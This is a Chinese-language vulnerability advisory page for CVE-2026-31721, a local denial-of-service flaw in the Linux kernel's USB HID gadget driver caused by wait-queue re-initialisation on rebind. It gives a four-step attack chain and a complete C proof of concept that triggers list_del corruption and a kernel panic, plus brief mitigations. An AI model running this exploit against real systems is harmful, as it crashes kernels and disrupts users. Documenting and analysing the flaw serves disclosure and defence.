IPBUF安全漏洞报告
English
CVE-2026-31721 CVSS 5.5 中危

CVE-2026-31721 Linux内核USB HID驱动拒绝服务漏洞

披露日期: 2026-05-01
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31721
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelUSB GadgetDoSRace ConditionCVE-2026-31721

漏洞概述

Linux内核USB HID gadget组件存在拒绝服务漏洞。漏洞原因是hidg_bind函数错误地重新初始化了仍在使用的等待队列。当用户按照特定顺序操作(绑定设备、打开hidg0、epoll添加、解绑重绑UDC、epoll删除)时,会触发内核列表删除损坏错误。此漏洞可导致本地低权限用户引发系统内核崩溃,严重影响系统可用性。

技术细节

该漏洞位于Linux内核的USB HID gadget功能驱动中。问题核心在于资源生命周期管理不当。等待队列的初始化原位于hidg_bind函数中,这意味着每次UDC绑定时队列都会被重置。然而,队列的生命周期应与设备实例(hidg_alloc)一致。攻击者可利用以下步骤触发漏洞:首先配置并绑定HID gadget,然后打开/dev/hidg0设备文件,并通过epoll_ctl添加对该文件的监控。此时,等待队列中已存在等待项。接着,攻击者触发UDC的解绑与重新绑定。在重绑定过程中,bind函数重新初始化了队列头,导致之前的等待项指针失效。最后,当尝试通过epoll_ctl删除监控时,内核试图从队列中移除已失效的等待项,触发list_del corruption,导致内核恐慌。该漏洞被归类为竞态条件或逻辑错误,CVSS 3.1评分为5.5(中危),主要影响可用性。

攻击链分析

STEP 1
配置环境
设置并绑定一个USB HID gadget设备,确保/dev/hidg0可用。
STEP 2
添加监控
打开/dev/hidg0,获取文件描述符,并使用epoll_ctl将该fd添加到epoll实例中。
STEP 3
触发重绑
解除UDC绑定并重新绑定。此步骤导致驱动重新初始化等待队列头,使原有等待项失效。
STEP 4
触发崩溃
使用epoll_ctl从epoll中删除该fd。由于队列头已重置,此操作触发内核列表删除错误,导致系统崩溃。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-31721 * Trigger list_del corruption in f_hid gadget driver. * Compile: gcc -o poc poc.c */ #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <sys/epoll.h> #include <stdlib.h> int main() { int fd, epfd; struct epoll_event ev; // 1. Open the HID gadget device fd = open("/dev/hidg0", O_RDWR); if (fd < 0) { perror("open /dev/hidg0"); return 1; } // 2. Create epoll instance epfd = epoll_create1(0); if (epfd < 0) { perror("epoll_create1"); close(fd); return 1; } // 3. Add fd to epoll (EPOLL_CTL_ADD) ev.events = EPOLLIN; ev.data.fd = fd; if (epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &ev) < 0) { perror("epoll_ctl ADD"); close(epfd); close(fd); return 1; } printf("Step 1-3 done. Now perform UDC unbind and bind manually.\n"); printf("Press Enter to trigger EPOLL_CTL_DEL...\n"); getchar(); // 4. Remove fd from epoll (EPOLL_CTL_DEL) // This triggers the list_del corruption if (epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &ev) < 0) { perror("epoll_ctl DEL"); } close(epfd); close(fd); return 0; }

影响范围

Linux Kernel (修复前版本)

防御指南

临时缓解措施
限制对UDC sysfs接口的写入权限,防止非授权用户进行解绑和重绑定操作。避免在设备使用过程中进行重绑定操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表